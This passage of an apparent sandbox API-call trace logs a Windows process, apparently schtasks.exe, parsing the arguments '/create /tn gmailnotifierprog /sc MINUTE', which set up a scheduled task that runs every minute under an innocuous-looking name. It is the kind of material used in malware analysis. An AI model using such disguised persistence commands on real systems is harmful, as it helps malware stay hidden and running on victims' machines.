returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="d") returned 1 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="m") returned 1 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="i") returned 1 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="tn") returned 2 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="tr") returned 2 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.832] lstrlenW (lpString="st") returned 2 [0109.832] GetThreadLocale () returned 0x409 [0109.832] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="sd") returned 2 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="ed") returned 2 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="it") returned 2 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="et") returned 2 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="k") returned 1 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="du") returned 2 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="ri") returned 2 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="z") returned 1 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="f") returned 1 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.833] lstrlenW (lpString="v1") returned 2 [0109.833] GetThreadLocale () returned 0x409 [0109.833] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.834] lstrlenW (lpString="xml") returned 3 [0109.834] GetThreadLocale () returned 0x409 [0109.834] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.834] lstrlenW (lpString="ec") returned 2 [0109.834] GetThreadLocale () returned 0x409 [0109.834] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.834] lstrlenW (lpString="rl") returned 2 [0109.834] GetThreadLocale () returned 0x409 [0109.834] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.834] lstrlenW (lpString="delay") returned 5 [0109.834] GetThreadLocale () returned 0x409 [0109.834] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.834] lstrlenW (lpString="np") returned 2 [0109.834] GetThreadLocale () returned 0x409 [0109.834] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.834] lstrlenW (lpString="hresult") returned 7 [0109.834] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.834] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.834] lstrlenW (lpString="/create") returned 7 [0109.834] lstrlenW (lpString="-/") returned 2 [0109.834] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.834] lstrlenW (lpString="create") returned 6 [0109.834] lstrlenW (lpString="create") returned 6 [0109.834] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.834] lstrlenW (lpString="create") returned 6 [0109.834] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.834] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.834] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.834] lstrlenW (lpString="|create|") returned 8 [0109.834] lstrlenW (lpString="|create|") returned 8 [0109.834] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0109.835] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.835] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.835] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.835] lstrlenW (lpString="/tn") returned 3 [0109.835] lstrlenW (lpString="-/") returned 2 [0109.835] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.835] lstrlenW (lpString="create") returned 6 [0109.835] lstrlenW (lpString="create") returned 6 [0109.835] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.835] lstrlenW (lpString="tn") returned 2 [0109.835] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.835] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.835] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.835] lstrlenW (lpString="|create|") returned 8 [0109.835] lstrlenW (lpString="|tn|") returned 4 [0109.835] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0109.835] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.835] lstrlenW (lpString="?") returned 1 [0109.835] lstrlenW (lpString="?") returned 1 [0109.835] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.835] lstrlenW (lpString="tn") returned 2 [0109.835] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.835] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|?|") returned 3 [0109.835] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.835] lstrlenW (lpString="|?|") returned 3 [0109.835] lstrlenW (lpString="|tn|") returned 4 [0109.835] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.835] lstrlenW (lpString="s") returned 1 [0109.835] lstrlenW (lpString="s") returned 1 [0109.835] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.835] lstrlenW (lpString="tn") returned 2 [0109.836] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.836] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|s|") returned 3 [0109.836] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.836] lstrlenW (lpString="|s|") returned 3 [0109.836] lstrlenW (lpString="|tn|") returned 4 [0109.836] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.836] lstrlenW (lpString="u") returned 1 [0109.836] lstrlenW (lpString="u") returned 1 [0109.836] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.836] lstrlenW (lpString="tn") returned 2 [0109.836] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.836] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|u|") returned 3 [0109.836] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.836] lstrlenW (lpString="|u|") returned 3 [0109.836] lstrlenW (lpString="|tn|") returned 4 [0109.836] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.836] lstrlenW (lpString="p") returned 1 [0109.836] lstrlenW (lpString="p") returned 1 [0109.836] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.836] lstrlenW (lpString="tn") returned 2 [0109.836] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.836] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|p|") returned 3 [0109.836] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.836] lstrlenW (lpString="|p|") returned 3 [0109.836] lstrlenW (lpString="|tn|") returned 4 [0109.836] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.836] lstrlenW (lpString="ru") returned 2 [0109.836] lstrlenW (lpString="ru") returned 2 [0109.836] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.836] lstrlenW (lpString="tn") returned 2 [0109.836] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.837] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ru|") returned 4 [0109.837] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.837] lstrlenW (lpString="|ru|") returned 4 [0109.837] lstrlenW (lpString="|tn|") returned 4 [0109.837] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0109.837] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.837] lstrlenW (lpString="rp") returned 2 [0109.837] lstrlenW (lpString="rp") returned 2 [0109.837] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.837] lstrlenW (lpString="tn") returned 2 [0109.837] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.837] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rp|") returned 4 [0109.837] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.837] lstrlenW (lpString="|rp|") returned 4 [0109.837] lstrlenW (lpString="|tn|") returned 4 [0109.837] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0109.837] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.837] lstrlenW (lpString="sc") returned 2 [0109.837] lstrlenW (lpString="sc") returned 2 [0109.837] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.837] lstrlenW (lpString="tn") returned 2 [0109.837] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.837] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.837] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.837] lstrlenW (lpString="|sc|") returned 4 [0109.837] lstrlenW (lpString="|tn|") returned 4 [0109.837] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0109.837] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.837] lstrlenW (lpString="mo") returned 2 [0109.837] lstrlenW (lpString="mo") returned 2 [0109.837] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.837] lstrlenW (lpString="tn") returned 2 [0109.837] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.838] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.838] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.838] lstrlenW (lpString="|mo|") returned 4 [0109.838] lstrlenW (lpString="|tn|") returned 4 [0109.838] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0109.838] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.838] lstrlenW (lpString="d") returned 1 [0109.838] lstrlenW (lpString="d") returned 1 [0109.838] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.838] lstrlenW (lpString="tn") returned 2 [0109.838] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.838] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|d|") returned 3 [0109.838] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.838] lstrlenW (lpString="|d|") returned 3 [0109.838] lstrlenW (lpString="|tn|") returned 4 [0109.838] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.838] lstrlenW (lpString="m") returned 1 [0109.838] lstrlenW (lpString="m") returned 1 [0109.838] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.838] lstrlenW (lpString="tn") returned 2 [0109.838] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.838] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|m|") returned 3 [0109.838] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.838] lstrlenW (lpString="|m|") returned 3 [0109.838] lstrlenW (lpString="|tn|") returned 4 [0109.838] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.838] lstrlenW (lpString="i") returned 1 [0109.838] lstrlenW (lpString="i") returned 1 [0109.838] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.838] lstrlenW (lpString="tn") returned 2 [0109.838] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.838] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|i|") returned 3 [0109.839] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.839] lstrlenW (lpString="|i|") returned 3 [0109.839] lstrlenW (lpString="|tn|") returned 4 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] lstrlenW (lpString="tn") returned 2 [0109.839] lstrlenW (lpString="tn") returned 2 [0109.839] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.839] lstrlenW (lpString="tn") returned 2 [0109.839] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.839] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.839] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.839] lstrlenW (lpString="|tn|") returned 4 [0109.839] lstrlenW (lpString="|tn|") returned 4 [0109.839] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] lstrlenW (lpString="gmailnotifierprog") returned 17 [0109.839] lstrlenW (lpString="-/") returned 2 [0109.839] StrChrIW (lpStart="-/", wMatch=0x67) returned 0x0 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] lstrlenW (lpString="gmailnotifierprog") returned 17 [0109.839] StrChrIW (lpStart="gmailnotifierprog", wMatch=0x3a) returned 0x0 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] lstrlenW (lpString="gmailnotifierprog") returned 17 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.839] lstrlenW (lpString="/sc") returned 3 [0109.839] lstrlenW (lpString="-/") returned 2 [0109.839] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.839] lstrlenW (lpString="create") returned 6 [0109.839] lstrlenW (lpString="create") returned 6 [0109.839] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.840] lstrlenW (lpString="sc") returned 2 [0109.840] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.840] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|create|") returned 8 [0109.840] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.840] lstrlenW (lpString="|create|") returned 8 [0109.840] lstrlenW (lpString="|sc|") returned 4 [0109.840] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0109.840] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.840] lstrlenW (lpString="?") returned 1 [0109.840] lstrlenW (lpString="?") returned 1 [0109.840] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.840] lstrlenW (lpString="sc") returned 2 [0109.840] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.840] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|?|") returned 3 [0109.840] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.840] lstrlenW (lpString="|?|") returned 3 [0109.840] lstrlenW (lpString="|sc|") returned 4 [0109.840] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.840] lstrlenW (lpString="s") returned 1 [0109.840] lstrlenW (lpString="s") returned 1 [0109.840] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.840] lstrlenW (lpString="sc") returned 2 [0109.840] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.840] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|s|") returned 3 [0109.840] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.840] lstrlenW (lpString="|s|") returned 3 [0109.841] lstrlenW (lpString="|sc|") returned 4 [0109.841] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.841] lstrlenW (lpString="u") returned 1 [0109.841] lstrlenW (lpString="u") returned 1 [0109.841] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.841] lstrlenW (lpString="sc") returned 2 [0109.841] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.841] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|u|") returned 3 [0109.841] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.841] lstrlenW (lpString="|u|") returned 3 [0109.841] lstrlenW (lpString="|sc|") returned 4 [0109.841] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.841] lstrlenW (lpString="p") returned 1 [0109.841] lstrlenW (lpString="p") returned 1 [0109.841] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.841] lstrlenW (lpString="sc") returned 2 [0109.841] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.841] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|p|") returned 3 [0109.843] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.843] lstrlenW (lpString="|p|") returned 3 [0109.843] lstrlenW (lpString="|sc|") returned 4 [0109.843] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.843] lstrlenW (lpString="ru") returned 2 [0109.843] lstrlenW (lpString="ru") returned 2 [0109.843] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.843] lstrlenW (lpString="sc") returned 2 [0109.843] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.843] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ru|") returned 4 [0109.844] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.844] lstrlenW (lpString="|ru|") returned 4 [0109.844] lstrlenW (lpString="|sc|") returned 4 [0109.844] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0109.844] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.844] lstrlenW (lpString="rp") returned 2 [0109.844] lstrlenW (lpString="rp") returned 2 [0109.844] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.844] lstrlenW (lpString="sc") returned 2 [0109.844] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.844] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rp|") returned 4 [0109.844] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.844] lstrlenW (lpString="|rp|") returned 4 [0109.844] lstrlenW (lpString="|sc|") returned 4 [0109.844] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0109.844] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.844] lstrlenW (lpString="sc") returned 2 [0109.844] lstrlenW (lpString="sc") returned 2 [0109.844] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.844] lstrlenW (lpString="sc") returned 2 [0109.844] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.844] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.844] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.844] lstrlenW (lpString="|sc|") returned 4 [0109.844] lstrlenW (lpString="|sc|") returned 4 [0109.844] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0109.844] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.844] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.844] lstrlenW (lpString="MINUTE") returned 6 [0109.844] lstrlenW (lpString="-/") returned 2 [0109.844] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0109.844] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.845] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.845] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.845] lstrlenW (lpString="MINUTE") returned 6 [0109.845] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0109.845] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.845] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.845] GetProcessHeap () returned 0x1ed3df50000 [0109.845] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df5abf0 [0109.845] _memicmp (_Buf1=0x1ed3df5abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.845] lstrlenW (lpString="MINUTE") returned 6 [0109.845] GetProcessHeap () returned 0x1ed3df50000 [0109.845] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xe) returned 0x1ed3df5a970 [0109.845] lstrlenW (lpString="MINUTE") returned 6 [0109.845] lstrlenW (lpString=" \x09") returned 2 [0109.845] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0109.845] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0109.845] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0109.845] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0109.845] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0109.845] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0109.845] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0109.845] GetLastError () returned 0x0 [0109.845] 